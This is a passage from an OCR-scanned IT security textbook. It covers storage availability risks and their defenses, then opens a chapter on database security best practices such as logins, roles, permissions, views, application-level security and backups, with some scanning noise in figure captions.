saturating the target machine with too many communications requests, such that it cannot
respond to legitimate traffic, or responds so slowly as to be rendered effectively unavailable.

¢ Defense Selecta storage platform that has solid protection against network
attacks. Implement firewalls, an IPS, and network filtering at the perimeter of the
storage network to block attacks.

e Detection Monitor intrusion detection systems 24x7x365.

¢ Deterrence Work with your legal department to ensure that attackers are found
and prosecuted.

¢ Residual risk Because most DoS and DDoS attacks make use of compromised
systems across the globe, they can be hard to track, and because they flood system
and network resources, they can get through an environment’s defenses.

Outage

An outage is any unexpected downtime or unreachability of a computer system or network.

¢ Defense The primary defense against any service outage is redundancy. Ensure
that individual systems, devices, and network links are clustered or set up to use
high availability. Outages are expensive—calculate the cost of downtime and use
that to justify investment in the additional equipment needed for redundancy.
Additionally, employ a solid disaster recovery plan to ensure that you are ready for
extended outages, so that storage environments can be automatically switched to a
different location during an outage.

¢ Detection Employ monitoring tools to continuously monitor the availability and
response time of the storage environment.

¢ Deterrence Because outages generally occur as a result of software problems,
little can be done to stop them from happening.

¢ Residual risk Unforeseen outages can occur even when all devices and network
paths are completely redundant, due to malfunctions or human error, so storage
infrastructures may be down for as long as it takes to switch over to the disaster
recovery environment.

Instability and Application Failure

Problems, such as bugs, in software or firmware can cause freezing, locking, or crashing of
applications, making them unresponsive and resulting in loss of functionality or failure of
an entire computer or network.

¢ Defense Ensure that all software updates are applied to the infrastructure on a
frequent basis.

* Detection Implement service monitoring to detect and alert when an application
does not respond correctly.
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¢ Deterrence In contracts with storage suppliers, include clear language that specifies
penalties and remuneration for instability issues.

* Residual risk Because instability in applications and infrastructure generally occurs
as a result of software problems, little can be done to stop them from happening.

Slowness
When the response time of a computer or network is considered unacceptably slow, its
availability is affected.

* Defense Using redundant storage system and network connections, set up the
architecture so that application access will automatically switch to the fastest
environment. Also ensure that you have implemented high-capacity services with
demand-driven expansion of resources.

* Detection Monitor response time of applications on a continuous basis and ensure
that alerts have an out-of-band path to support staff so that response problems don’t
stop alerts from being delivered.

¢ Deterrence Establish contract language with storage manufacturers that provides
compensation for unacceptable response times.

* Residual risk Slowness can persist despite best efforts, resulting in loss of efficiency
and effective downtime.

High Availability Failure

A service that is supposed to fail over in the event of a problem with one device to other,
functioning devices may not actually fail over properly. This can happen, for example,
when a primary device slows down to the point where it becomes effectively unresponsive,
but the HA software doesn’t actually consider it to be “down.”

* Defense Monitor the health of secondary systems or all systems in an HA cluster.

* Detection Perform periodic failover testing.

* Deterrence Not much can be done to guarantee that systems will switch over
when they are supposed to.

¢ Residual risk Sometimes, a primary device slows down to the point that it becomes
unresponsive for all practical purposes, but because it’s not officially “down”
according to its software, the backup system doesn’t take over.

Backup Failure
When you discover that those backups you were relying on aren’t actually any good, either
because the media is damaged or the backup data is corrupted or missing, data is lost.

* Defense Leverage storage elasticity to avoid the use of traditional offline (tape or
optical) backups.

¢ Detection Frequently perform recovery testing to validate the resilience of data.
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¢ Deterrence Establish a data-loss clause in the contract with the storage
manufacturer so that they have incentive to help with unforeseen loss of data.

¢ Residual risk Backups fail, but multiple recovery paths can eliminate most of the risk.
The practice of backing up data has been around for a long time and, consequently, is
one of the most reliable security practices. As long as data is appropriately replicated, it
can live forever, so the majority of residual risk in this case would be due to substandard
data replication practices or lack of attention to this matter.

Best Practices

Given the risks to storage infrastructure and the data that resides on it, what can be done to
design a robust architecture that is resistant to attack? The following practices provide the
best available mitigation.

Zoning

Port-based zoning improves security through control of the connections between hosts and
the storage array. This method of zoning provides increased protection against a WWN
spoof attack. With port zoning, even if a host system is introduced into the environment
with a spoofed WWN, the host would need to also be in the port defined by the switch in
order for its traffic to transmit to the storage array, because the zones are configured based
on ports. The switch provides the path, by way of the zone, from the server’s HBA to the
array’s HBA. Without that zone, the spoofed WWN has no path to the array.

Arrays

Arrays have been developed over time to provide LUN masking as a form of protecting LUNs
from access by unauthorized servers. The most likely cause of a LUN being accessed by an
unauthorized system is accidental or intentional misconfiguration by a storage administrator.
The best defense against this is to ensure that storage administrators are trustworthy and
capable, and to control and limit the management of the storage array to a small number of
highly trained, reliable administrators.

Servers

In order to fully secure a storage environment, you must ensure that the server environment
itself is controlled and monitored. Securing the storage infrastructure itself is not enough.
Access to any server can significantly expose that server and the storage environment to
harmful activity. It is important that servers be configured securely, and that the equipment is
located in a secure facility with access control and monitoring. Change management and
activity monitoring, to track changes to the system and the activities of administrators on the
server, should be done with the security of the storage environment in mind. These steps need
to be taken not only on the servers that are hosting the data but also on the management
servers used to manage the arrays and switches.
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Staff

When hiring individuals to manage and secure the storage environment, the requisite skill
set should include solid knowledge of storage security practices. Background and/or
training in computer security methods should be considered an important requirement.
Naturally, training and experience in managing storage arrays is also important, preferably
with the product in use within your organization, rather than tasking an administrator of
some other platform with managing the storage infrastructure. In addition, given the
convergence of storage and networking that has resulted in the SAN, a background in
networking can be very valuable.

Offsite Data Storage

Storing data offsite (securely) is a critical aspect of any organization’s business continuity
process. Many vendors will pick up backup tapes and move them to a secured facility.
Regular audits of these facilities should be done to ensure accountability for all data sent
offsite. To protect the data, it should be encrypted whether on disk or tape. Any form of
online data backup should be performed with an end-to-end encryption method.

Summary

As the storage of data has evolved from individually carried media to a specialized
infrastructure environment, storage now requires specific planning and implementation of
security in order to protect the data. Avoid the false assumption that, because the SAN
appears to servers as an extension of the local disk farm, a focus only on securing the
operating system is sufficient. Fibre Channel networks can be built with inherent resistance
to attack using certain design techniques and best practices, but this is not enough to
completely avoid data compromise. This chapter has presented several options, techniques,
and best practices to equip the storage administrator to make the best choices for the specific
environment of the organization.
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CHAPTER

1 2 Database Security

Most modern organizations rely heavily on the information stored in their database systems.
From sales transactions to human resources records, mission-critical, sensitive data is
tracked within these systems. From the standpoint of security, it is very important that
business and systems administrators take the proper precautions to ensure that these
systems and applications are as secure as possible. You wouldn’t want a junior-level database
administrator to be able to access information that only the executive team should see; but
you also wouldn’t want to prevent your staff from doing their jobs. As with all security
implementations, the key is to find a balance between security and usability.

All of the security-related best practices that have been laid out throughout this book
apply to securing databases. These include network-level security, physical security, and
using server-related best practices. However, there are additional considerations that should
be taken into account when securing databases. In this chapter, we’ll look at some of these
special concepts and techniques. Specifically, we’ll begin by taking a look at some general
information about what makes databases special. Then, we’ll look at the various levels of
permissions that must be implemented and managed before a database can be considered
secure. We’ll also look at database auditing.

NOTE The focus of this chapter is on general database security best practices. Most of this information
will apply to all modern databases. Particular terminology, tools, and techniques, however, do vary
between products. Be sure to consult documentation for your database platforms to discover any
special considerations that might apply to your installations.

General Database Security Concepts

Modern databases must meet different goals. They must be reliable, provide for quick access
to information, and provide advanced features for data storage and analysis. Furthermore,
they must be flexible enough to adapt to many different scenarios and types of usage. Many
organizations rely on databases to serve as the “back end” for purchased applications or
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custom-developed applications. The “front end” of these systems are generally client
applications or web user interfaces.

Architecturally, relational databases function in a client-server manner (although they can
certainly be used as part of multitier applications). That is, a client computer, application, or
user can only communicate directly with the database services that are running. They cannot
directly access the database files, as can be done with “desktop” database systems, such as
Microsoft Access. This is an important point, since it allows security configuration and
management to occur at the database level, instead of leaving that responsibility to users
and applications.

Databases can be used in various capacities, including:

¢ Application support Ranging from simple employee lists to enterprise-level tracking
software, relational databases are the most commonly used method for storing data.
Through the use of modern databases, users and developers can rely on security,
scalability, and recoverability features.

* Secure storage of sensitive information Relational databases offer one of the most
secure methods of centrally storing important data. As we’ll see throughout this
chapter, there are many ways in which access to data can be defined and enforced.
These methods can be used to meet legislative requirements in regulated industries
(for example, the HIPAA standard for storing and transferring healthcare-related
information) and generally for storing important data.

¢ Online transaction processing (OLTP) OLTP services are often the most common
functions of databases in many organizations. These systems are responsible for
receiving and storing information that is accessed by client applications and other
servers. OLTP databases are characterized by having a high level of data modification
(inserting, updating, and deleting rows). Therefore, they are optimized to support
dynamically changing data. Generally, they store large volumes of information that
can balloon very quickly if not managed properly.

¢ Data warehousing Many organizations go to great lengths to collect and store as
much information as possible. But what good is this information if it can’t easily be
analyzed? The primary business reason for storing many types of information is to
use this data eventually to help make business decisions. Although reports can be
generated against OLTP databases, there are several potential problems: Reports
might take a long time to run, and thus tax system resources. If reports are run
against a production OLTP server, overall system performance can be significantly
decreased. OLTP servers are not optimized for the types of queries used in reporting,
thus making the problem worse. Reporting requirements are very different. In
reporting systems, the main type of activity is data analysis. OLTP systems get bogged
down when the amount of data in the databases gets very large. Therefore, production
OLTP data must be often archived to other media or stored in another data repository.
Relational database platforms can serve as a repository for information collected from
many different data sources within an organization. This database can then be used for
centralized reporting and by “decision support” systems.
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Because of the heavy reliance that modern organizations place on their data storage
systems, it’s very important to understand, implement, and manage database security.
Throughout this chapter, we’ll look at various methods for doing just that. Let’s start by
looking at an overview of various layers of database security, and how they interact.

Understanding Database Security Layers

Since relational databases can support a wide array of different types of applications and
usage patents, they generally utilize security at multiple layers. Each layer of security is
designed for a specific purpose and can be used to provide authorization rules. In order to
get access to your most trusted information, users must have appropriate permissions at
one or more of these layers. As a database or systems administrator, your job is to ensure
that the hurdles are of the proper height—that is, your security model takes into account
both security and usability. In this section, we’ll take an in-depth look at each level of
permissions and how they interact. Let’s start at the level of the server.

Server-Level Security

A database application is only as secure as the server it is running on. Therefore, it’s important
to start considering security settings at the level of the physical server or servers on which
your databases will be hosted. In smaller, simple configurations, you might need to secure
only a single machine. Larger organizations will likely have to make accommodations for
many servers. These servers may be geographically distributed and even arranged in complex
clustered configurations.

One of the first steps you should take in order to secure a server is to determine which
users and applications should have access to it. Modern database platforms are generally
accessible over a network, and most database administration tasks can be performed remotely.
Therefore, other than for purposes of physically maintaining database hardware, there’s little
need for anyone to have direct physical access to a database. It’s also very important to
physically protect databases in order to prevent unauthorized users from accessing database
files and data backups. If an unauthorized user can get physical access to your servers, it’s
much more difficult to protect against further breaches.

Network-Level Security

As mentioned previously, databases work with their respective operating system platforms to
serve users with the data they need. Therefore, general operating system and network-level
security also applies to databases. If the underlying platform is not secure, this can create
significant vulnerabilities for the database. Since they are designed as network applications,
you must take reasonable steps to ensure that only specific clients can access these machines.

Some standard “best practices” for securing databases include limiting the networks
and/or network addresses that have direct access to the computer. For example, you might
implement routing rules and packet filtering to ensure that only specific users on your
internal network will even be able to communicate with a server.

As an example, Microsoft’s SQL Server database platform uses a default TCP port of 1433
for communications between clients and the database. If you know for certain that there is no
need for users on certain subnets of your network to be able to access this server directly, it
would be advisable to block network access to this TCP port. Doing so can also prevent
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malicious users and code (such as viruses) from attacking this machine over the network.
Another security practice involves changing the default port on which the server listens. This
can be done quite simply by using the Server Network Utility shown in Figure 12-1.

Of course, few real-world databases work alone. Generally, these systems are accessed
directly by users, and often by mission-critical applications. Later in this chapter, we’ll look
at some methods for mitigating risks related to Internet-accessible applications.

Data Encryption
Another method for ensuring the safety of database information is to use encryption. Most
modern databases support encrypted connections between the client and the server. Although
these protocols can sometimes add significant processing and data transfer overhead
(especially for large result sets or very busy servers), the added security may be required in
some situations. Additionally, through the use of virtual private networks (VPNs), systems
administrators can ensure that sensitive data remains protected during transit. Depending
on the implementation, VPN solutions can provide the added benefit of allowing network
administrators to implement security without requiring client or server reconfiguration.
Data encryption is also an important security feature in areas outside of the network
layer. Often, database administrators will make backups of their data and store them on file
servers. These file servers may not be as hardened as the sensitive databases that host the
“live” copies of the data. It’s very important to keep in mind that, by default, most relational
database systems do not provide very strong security for backups. Because, in most cases,
database backups are every bit as valuable as the live databases themselves, encryption,
properly administered file system permissions, and related best practices should be followed.
Finally, data encryption can be effectively used within a database. Many types of systems
store sensitive data, such as credit card numbers and passwords (which users might use for
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Figure 12-1 Using the Server Network Utility to configure network protocol settings for an installation
of Microsoft SQL Server
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several different applications). A potential problem lies in the fact that database developers
and administrators often require full permissions on these tables in order to do their jobs.
One way to obscure this data is to encrypt values that are stored in database tables. In this
way, authorized users will be able to access and modify data, if needed, but only the calling
application will be able to decipher it and make it usable. With some database vendors, like
Oracle, the encryption is stored outside of the database, and in the event of key loss the
data within the table/column will also be lost.

Operating System Security

On most platforms, database security goes hand in hand with operating system security.
Network configuration settings, file system permissions, authentication mechanisms, and
operating system encryption features can all play a role in ensuring that databases remain
secure. For example, on Windows-based operating systems, only the NTFS file system offers
any level of file system security (FAT and FAT32 partitions do not provide any file system
security at all). In environments that use a centralized directory services infrastructure, it’s
important for systems administrators to keep permissions settings up to date and to ensure
that unnecessary accounts are deactivated as soon as possible. Fortunately, many modern
relational database platforms can leverage the strengths of the operating systems that they
run on. Let’s look at this in more detail.

Managing Database Logins
Most database systems require users to enter some authentication information before they can
access a database. This first level of database security can be based on a standard username
and password combination. Or, for improved manageability and single sign-on purposes, the
database systems can be integrated with an organization’s existing authentication system.
For example, many relational database products that operate on Microsoft’s Windows
operating system platform can utilize the security features of a domain-based security
model. Based on an individual’s user account and group membership, he or she can
perform a seamless “pass-through authentication” that does not require rekeying a
username or password. Among the many benefits of this method is the ability to centrally
administer user accounts. When a user account is disabled at the level of the organization’s
directory service, no further steps need to be taken to prevent the user from accessing
database systems. In addition, organizations are increasingly turning to biometric-based
authentication (authentication through the use of fingerprint identification, retinal scans, and
related methods), as well as smart-card and token-based authentication. Database
administrators can take advantage of these mechanisms by relying on the operating system
for identifying users. Therefore, integrated security is highly recommended, both for ease
of use and for ease of management.

NOTE An important part of implementing a new database is to change the default passwords (and
account names, if possible) during or immediately after installation. Many database administrators
decide that they’ll “get to this task later,” but that usually means that it's overlooked. Using default
usernames and passwords can give malicious users just the edge that they need to compromise your
servers. Be sure to take a couple of minutes to close this potential vulnerability as soon as you install
a new server.
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Server logins can be granted permissions directly. For example, a user may be given the
permission to shut down or restart a database or the ability to create a new database on the
server. Login-level permissions generally apply to the server as a whole and can be used to
perform tasks related to backup and recovery, performance monitoring, and the creation
and deletion of databases. In some cases, users with server login permissions may be able
to grant these permissions to other users. Therefore, it’s very important to fully understand
the security architecture of the database platform you're depending on to keep your
information safe.

Another important consideration to keep in mind is that most relational database
platforms allow operating system administrators to have many implicit permissions on
the database. For example, systems administrators can start and stop the services and can
move or delete database files. Additionally, some database platforms automatically grant to
the systems administrator a database login that allows full permissions. Although this is
probably desirable in some cases, it’s something that must be kept in mind when trying to
enforce overall security. In some situations, it’s important that not all systems administrators
have permissions to access sensitive data that is stored on these servers. Configuring systems
in this way can be a challenge, and the exact method of implementation will be based on
the operating system and database platform you’re running.

Most often, a server login only allows a user to connect to a database. It does not implicitly
allow the user to perform any specific actions within databases. In the next section, we’ll
take a look at how database-level security can be used to assign granular permissions to
database logins.

Understanding Database-Level Security

Databases are commonly used to host many different databases and applications, and users
should have different types of permissions based on their job functions. Once a user has
been allowed to connect to a server (through the use of a server login), the user will be
given only the permissions that are granted to that login. This process of determining
permissions is generally known as authorization. Let’s take a look at some standard types of
database-level permissions.

NOTE Although the focus of this chapter is on providing technical best practices that will apply to most
modern relational database platforms, we will use some examples from Microsoft's SQL Server
platform to help illustrate concepts. Most of these concepts apply equally to other platforms,
including Oracle’s databases and IBM’s DB2 platform.

The first type of database-level security is generally used to determine to which database (s)
a user has access. Database administrators can specify whether or not certain databases can
be accessed by a user login. For example, one login may be granted permissions to access
only the Human Resources database and not any system databases or databases used by
other applications.

NOTE In this section, the term “database” is used in a general sense. In these examples, a single server
can host multiple, independent databases. Keep in mind that this terminology does differ in various
database platforms, and the term “database” may have a slightly different meaning.
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Once a user has been granted permissions to access a database, further permissions
must be assigned to determine which actions he or she can take within the database. Let’s
look at those permissions next.

Database Administration Security

One important task related to working with a relational database is maintenance of the
server itself. Important tasks include creating databases, removing unneeded databases,
managing disk space allocation, monitoring performance, and performing backup and
recovery operations. Database platforms allow the default systems administrator account to
delegate permissions to other users, allowing them to perform these important operations.

As an example, Microsoft’s SQL Server platform provides built-in server-level roles,
including Database Creators, Disk Administrators, Server Administrators, Security
Administrators, and many others. Figure 12-2 shows the user interface that allows the
assignment of database administration permissions.

Of course, the majority of database users will not require server-level permissions.
Instead, they’ll need permissions that are assigned at the level of the database.

Database Roles and Permissions

As mentioned earlier in this chapter, having a valid server login only allows a user the
permission to connect to a server. In order to actually access a database, the user’s login
must be authorized to use it. Figure 12-3 provides an example of granting database access
in SQL Server.

SOL Server Login Properties - New Login

General Server Roles | Database Access l

Server Raoles
Server roles are used to grant server-wide security privieges to a
login.
Server Role [~

1% System Administrators
: S ity Aty

1 % Servar Administrators
1 % Setup Administrators

% Process Administrators m
% Drisk. Administrators
1% Datshase Creators

|£

Drezcription

Can manage the loging for the server,

Froperties

Ok | Cancel Help

Figure 12-2 Granting database administration permissions to a user account
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SOL Server Login Properties - New Login

General ] Server Aoles  Database Access

Specify which databases can be acceszed by this login.

Permit | Database Uszer |J_\

6 Morthwind

I master
COE  model
OE msdb
Oa pubs

[l ERCTRS b

[ atabase roles for 'SalesTestDE"

Permit in Databaze Fole ~
ﬁ public

1€ db_owner —
€ db_accessadmin

M3
1€ db ddiadmin

]
Froperties
QK | Cancel | Help |

Figure 12-3 Granting database access permissions to a server login in SQL Server

The general process begins with specifying to which database(s) a login may connect.
Then, permissions must be assigned within the database. The details here do vary between
types of relational database platforms, but the overall concepts are the same. Generally,
database administrators will create “groups” or “roles,” and each of these will contain users.
Specific permissions (which we’ll look at in the next section) are assigned to the roles. This
process is quite similar to the best practices that are suggested for most modern network
operating systems. Additionally, some relational database platforms allow groups to be
nested, thereby allowing you to create a hierarchy of permissions.

For example, a database administrator might create a role that allows Sales Staff to insert
and update data in a specific table. Users of this role might also be able to call certain stored
procedures, views, and other database objects. Another role might be created for Sales
Managers. This role may be provided with the ability to delete sales-related data and make
other changes within the database. Through the use of roles, database administrators can
easily control which users have which permissions. Note, however, that it is very important
to properly design security based on the needs of database users. Again, the principal of
providing the least required permissions should be kept in mind. This is especially important
since, through the use of the SQL language, well-meaning users can accidentally delete or
modify data when their permissions are too lax.

Now that we’ve discussed database roles, let’s look at the actual types of permissions that
can be granted to them.
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Object-Level Security

Relational databases support many different types of objects. Tables, however, are the
fundamental unit of data storage. Each table is generally designed to refer to some type of
entity (such as an Employee, a Customer, or an Order). Columns within these tables store
details about each of these items (FirstName or CustomerNumber are common examples).

Permissions are granted to execute one or more of the most commonly used SQL
commands. These commands are

e SELECT Retrieves information from databases. SELECT statements can obtain
and combine data from many different tables, and can also be used for performing
complex aggregate calculations.

e INSERT Addsanew row to a table.
e UPDATE Changes the values in an existing row or rows.
e DELETE Deletes rows from a table.

The ANSI Standard SQL language provides for the ability to use three commands for
administering permissions to tables and other database objects:

e GRANT Specifies that a particular user or role will have access to perform
a specific action.

e REVOKE Removes any current permissions settings for the specified users or roles.

e DENY Prevents a user or role from performing a specific action.
A typical command might look as follows:

Grant SELECT on EmployeeTable to HumanResourcesUserl

NOTE The SQL language is case insensitive (although some platforms allow case sensitivity for object
and usernames). In this case, mixed case is being used for readability. Keep in mind that it's very
likely that you'll need to modify this sample for your particular database platform. Consult the
product’s documentation for details.

Additionally, modern relational databases offer graphical methods for administering
security. Figure 12-4 provides an example of setting high-level permissions on specific
database objects in SQL Server. Note that these permissions are based on database tables
and other objects.

Permissions can also be granted at a more granular level. In the case of specifying
permissions on tables, database administrators can define permissions at the column level,
as shown in Figure 12-5.

By now, you might be thinking that managing all of these levels of database security can
cause significant work for a database administrator. Unfortunately, you’re right. It can take
alot of time and effort initially to implement database security based on business and
technical requirements, and it can take even more time and effort to ensure that database
permissions reflect changes in the needs of your users. Fortunately, there are some ways to
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Database User Properties - SalesTestDB
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Figure 12-4 Setting object-level permission in a SQL Server database
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Figure 12-5 Setting column-level permission in a SQL Server database
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make the management of database permissions easier. Later in this chapter, we’ll talk about
using application-level security. But first, let’s take a look at some ways in which you can take
advantage of other types of database objects for implementing and managing permissions.

NOTE Although the proper implementation of security settings is important, it’s just as valuable to
perform regular security settings reviews. Although the process can be tedious and time-consuming,
many potential security problems can be detected before they're exploited. A good practice is to
schedule and perform regular security reviews.

Using Other Database Objects for Security

In all but the simplest of databases, you will store data in many tables. And, each of these
tables might have millions of rows of data. It doesn’t take much imagination to see how this
can lead to a lot of management effort. Fortunately, relational databases offer many other
types of objects that can be used to better manage data and control access to information.

Because of the complexity and room for error, a good general recommendation is to
avoid granting permissions directly on database tables. Instead, you should grant permissions
to users on other database objects which, in turn, will allow them to access the data they need.
In this section, we’ll take a high-level look at the three commonly used database objects and
how they can be used to better manage security settings.

Views
Perhaps the most commonly used method of controlling data access is views. A view is a
logical relational database object that actually refers to one or more underlying database
tables. Views are generally defined simply as the result of a SELECT query. This query, in
turn, can pull information from many different tables and can also perform common
calculations on the data. Figure 12-6 provides a conceptual diagram of how a view works.
Although views provide many advantages to database developers, they can also be very
valuable from a security standpoint. First, views provide database administrators with a
method to define granular permissions settings that would not otherwise be possible. For

View
Order_Info
—» Customer_Name
Order_Total <

Table Table
Customer Order
ID ID
Name Item
Address1 Quantity
Address2 Price
Total_Amount -

Figure 12-6 A conceptual diagram of a database view
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example, you can create a view that shows basic information about employees but excludes
sensitive data like their salaries and Social Security numbers. Or, you could define a view that
allows users to see data for only particular employees within the company (for example, only
the employees they manage).

Once a view has been defined, you can assign object-level permissions to the view. Users
of the database can then use the view to access whatever information they require. Should
security changes be required (if you added a “favorite color” column, for example), you can
simply change the definition of the view itself, and all authorized users will be able to see
this value in their result set. Furthermore, views can query other views, thereby creating a
chain of objects based on business rules. When portions of the logic change, only some of
the views may be affected. And, if business or technical requirements change, you can make
corresponding changes in the view.

Views are generally used to return sets of data to users. Database developers can allow
users to modify data through the use of views, but there are many important limitations to
this method. That’s where another type of database object can be helpful.

Stored Procedures

Database logic can become significantly complex, and common operations often must

be performed by many different users. Thankfully, databases offer developers the ability

to create and reuse SQL code through the use of objects called stored procedures. Stored
procedures can be used to perform any function that is possible through the use of standard
SQL commands. Additionally, they can take arguments (much like functions and subroutines
in other programming languages), making them very flexible.

For example, a stored procedure might be used to automatically perform common
operations on a set of customer-related database tables. When a customer record changes,
corresponding changes can be easily made by calling the stored procedure. Related to
security, and like views, instead of giving direct access to modify data stored in base tables
(which in some cases might be too liberal, or your users may not completely understand
how to modify the data), you can give access to stored procedures. This provides a layer of
abstraction between the underlying database tables that might be affected and allows for
encapsulating many of users’ most common operations in manageable code modules.

Triggers

Triggers are designed to automatically be “fired” whenever specification actions take place
within a database. For example, you might create a trigger on the SalesOrder table that will
automatically create a corresponding row in the Invoice table. Or, you might create a trigger
that performs complex data validation. (A common example would be one that checks for
rules related to BeginDate and EndDate values.)

From a security standpoint, triggers can be used in different ways. First, you can use
triggers to perform detailed auditing (see the section “Database Auditing and Monitoring,”
later in this chapter). For example, whenever a change is made to certain information in an
EmployeeSalary table, you might want to notify a high-level manager, or you might write a
row logging this action to another table. Another use of triggers is to enforce complex
database-related rules. If your marketing staff is only allowed to add information to a table
in a specific format, or if you want to ensure that a series of actions is always taken when
data changes are made, you can write the appropriate trigger to do so.
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Using Application Security

So far, we’ve looked at many general features that are available in modern relational
database systems. You can define database-level permissions at levels ranging from a server
login to a specific column in a specific table. In some cases, this level of security is very
important. If users and administrators are granted permissions to directly access a database,
the operations and data they can access must be limited. However, in the modern world, it
can be tedious, at best, to have to manage database-level permissions for hundreds or
thousands of users; and the problem is amplified when you’re trying to support the entire
world through the use of an Internet-based application.

Still, some database systems require very granular permissions. For example, users
might be able to access certain information only at particular times during the day, or
perhaps a complex set of logic might have to be used to determine users’ effective security
permissions based on other data in the database. Although it is certainly possible to
implement this type of functionality using database-level permissions settings, in the real
world, this process can be difficult to implement and maintain.

For these reasons, many modern database systems implement what is generally known
as application-level security. In this method, a single database account is used by an application.
This account provides the application with access to all of the databases, information, and
operations that might be required by any users of the application. The application, in turn,
is then made responsible for enforcing all user-level security rules. Figure 12-7 provides a
simplified example of how application security works. Application security allows you to limit
the number of database accounts and thus, by limiting the number of actual accounts that
have database access, limit your exposure to external hacking attempts.

Large and complex database applications often enforce their own security based on
business rules that are stored and enforced within the application itself. For example, an
accounting package might enforce security permissions that allow a specific user to update
a database only during specific hours. The application itself will use a single login and
password that has access permissions to obtain and modify any data within a database.

In order to secure the data, program logic within the application itself is used to determine
which users can see which information.

. Single application
le—=x

' account

Web application Database

Individual
user accounts

Figure 12-7 Application-level security for a database application
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Another example of this might be a common ordering system for an online bookstore.
Let’s assume that this store records all of its information in a relational database system.
Special databases contain important information such as inventory information, a book
catalog, and user information. Through the front-end web servers, the online store is
accessible to anyone in the world at any time. However, there are various groups of users
that require different permissions. Unregistered users can only view information about
specific books, while registered users have much more access. Furthermore, the online
bookstore’s own staff might have access to view and modify information about book costs
and selling prices.

In this scenario, it would be difficult to implement and maintain all of the required
security permissions at the database level. Instead, a commonly used approach would be to
implement security-related rules within the web application logic. The web servers themselves
would use only a single or relatively few database logins to access information stored in the
database. From the viewpoint of the database, all data retrieval and modification requests
coming from the web servers will be honored.

Some relational database platforms allow for implementing additional security for
applications. For example, instead of simply allowing an application full access to an entire
database, you might be able to control more granularly which permissions are allowed.
Furthermore, you can use features such as code signing to prevent unauthorized users from
creating or modifying their own application to access the database. For details, see the
documentation included with your relational database platform.

Another common situation is for multiple web applications to access one or more
relational databases. It’s important to keep in mind that each application that requires
access to your database should have a separate login. Apart from reducing the “sharing” of
database authentication information, this will also allow you to better implement auditing
functionality.

NOTE For highly secure applications, some implementers may want to take advantage of both
application- and database-level security. This provides the added advantage of protecting against the
failure or misconfiguration of one or the other type of security. It comes at a price, however, as
administrators may have to make changes in two places, and the initial implementation requires
significantly more effort.

Of course, application-level security is not a perfect solution. Let’s take a look at some
of the potential drawbacks.

Limitations of Application-Level Security

There are some important considerations to keep in mind when you implement application-
level security. The first is that, by granting the “keys to the kingdom” to an application, you
implicitly trust that application to manage all security for your entire system. Therefore, it is
first and foremost important that you trust the application and its authors. However, you
should also keep in mind that any defects or vulnerabilities in the application could easily
translate into a security breach—users could access and modify without proper authorization.
For this reason, it’s important that applications that maintain their own security permissions
are thoroughly tested.
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The second major concern related to application-level security is that it does not provide
any type of protection for users that can bypass the application. For example, database
developers and other users might be given permissions to directly access a database. A common
example is a high-level manager that must be given appropriate permissions to generate ad
hoc reports based on real-time data. In this case, the user will be bypassing any current
application-level logic. In some situations, this might be acceptable. For example, database
developers might have “all-or-nothing” access to a database, in which the need to set
granular permissions would not be important. In other situations, however, it might be
necessary to provide direct database access but also maintain acceptable levels of security.

To mitigate these potential risks, real-world database applications can use a hybrid
approach involving both database- and application-level permissions. For example, the
majority of users of a web-based application would handle security at the level of the
application. Users with special requirements—such as database developers, systems
administrators, and those that require direct, real-time database access—would be given
explicit permissions at the level of the database. Although this method clearly requires
more effort up front, it is a good way to take advantage of database- and application-level
security features.

Supporting Internet Applications

Many data-driven web sites rely on information stored in relational databases. Even relatively
simple sites might store information such as registered users’ e-mail addresses and passwords
within database tables. Other sites and web applications might store sensitive information
about users, including credit card numbers and other personal information. Internet-based
applications cause an added challenge for security administrators. On one hand, it’s usually
important for any user in the world to be able to access a web server. On the other hand, you
want to ensure that only users that are planning to use your site as it is intended are able to
access it. The key requirement, therefore, is to find a secure configuration that balances
accessibility and security.

A common network configuration for Internet-based applications is to prevent direct
access to the databases from all but the most trusted servers (or, sometimes, networks).
Figure 12-8 shows a commonly used network arrangement topology for a web-based
application that is accessible via the Internet. The “front-end” web servers are accessible to
all users on the Internet. The back-end databases, however, are much more protected. Note
that the databases do not have a direct connection to the public Internet and that most
users can only access information through the front-end web servers.

A potential point of weakness in this setup is that the overall strength of the security
is dependent on the safety of the web servers. To begin with, organizations should take
appropriate precautions to ensure that sensitive data is not stored on these machines. In the
event that a web server is compromised, it might become possible for unauthorized users to
access information stored on the databases. There are some ways to mitigate these risks.

First, web- and standard-client applications often use a “connection string” to store
authentication information. For administration purposes, this information is often stored
in configuration files that can be modified, as needed. It’s important to ensure that these
files are properly protected (through the use of encryption and file system permissions) to
prevent the usability of this information in the case that it is compromised. Remember, if
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Internet “—>

Database server

%/_/

Web servers
Figure 12-8 Securing Internet-accessible database applications

someone has a database connection string, they will generally be able to use it to gain full
access to your databases. Better yet, the use of authentication mechanisms that are
integrated with the operating system (such as Windows Authentication in the Microsoft
world) can help reduce or eliminate this potential problem.

Another important mechanism for preventing errors, data corruption, or system
crashes is to perform data validation in multiple places. For example, you might want to
start by verifying data formats, implementing string length checks, and performing other
basic data validation on the web server or client application. However, it’s important not to
trust this. It’s relatively simple for even a novice web developer to create their own web page
that circumvents these checks. Be sure also to check for data validity in any middle-tier
application logic, as well as at the database level. This additional data verification can help
prevent data changes from malicious users and can also help identify any missing logic in
application code.

NOTE A common method of compromising applications and databases that do not perform strong data
validation is known as SQL injection. This method involves the input of unintended code statements
in data input that might actually be executed. For example, if a database query simply searches
directly on the input entered by the user, the user might embed additional commands within the user
input field to gain access to more or different data. Through the use of strong data validation (that is,
ensuring that the input data is simple text) and the use of properly designed queries, this potential
security problem can be avoided.
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Database Backup and Recovery

An integral part of any overall database security strategy should be providing for database
backup and recovery. Backups serve many different purposes. Most often, it seems that
systems administrators perform backups to protect information in the case of server
hardware failures. Although this is a very real danger in most environments, it’s often not
the most likely. Data can be lost due to accidental human errors, flawed application logic,
defects in the database or operating system platform, and, of course, malicious users who
are able to circumvent security measures. In the event that data is incorrectly modified or
destroyed altogether, the only real method to recover information is from backups.

Since all relational database systems provide some method for performing database
backups while a server is still running, there isn’t much of an excuse for not implementing
backups. The real challenge is in determining what backup strategies apply to your own
environment. You'll need to find out what your working limitations are. This won’t be an easy
task, even in the best-managed organizations. It involves finding information from many
different individuals and departments within your organization. You’ll have to work hard to
find existing data, and make best guesses and estimates for areas in which data isn’t available.

To further complicate issues, there are many constraints in the real world that can affect
the implementation of backup processes. First, resources such as storage space, network
bandwidth, processing time, and local disk I/O bandwidth are almost always limited.
Additionally, human resources—especially knowledgeable and experienced database
administrators—may be difficult to find. And, performance requirements, user load, and
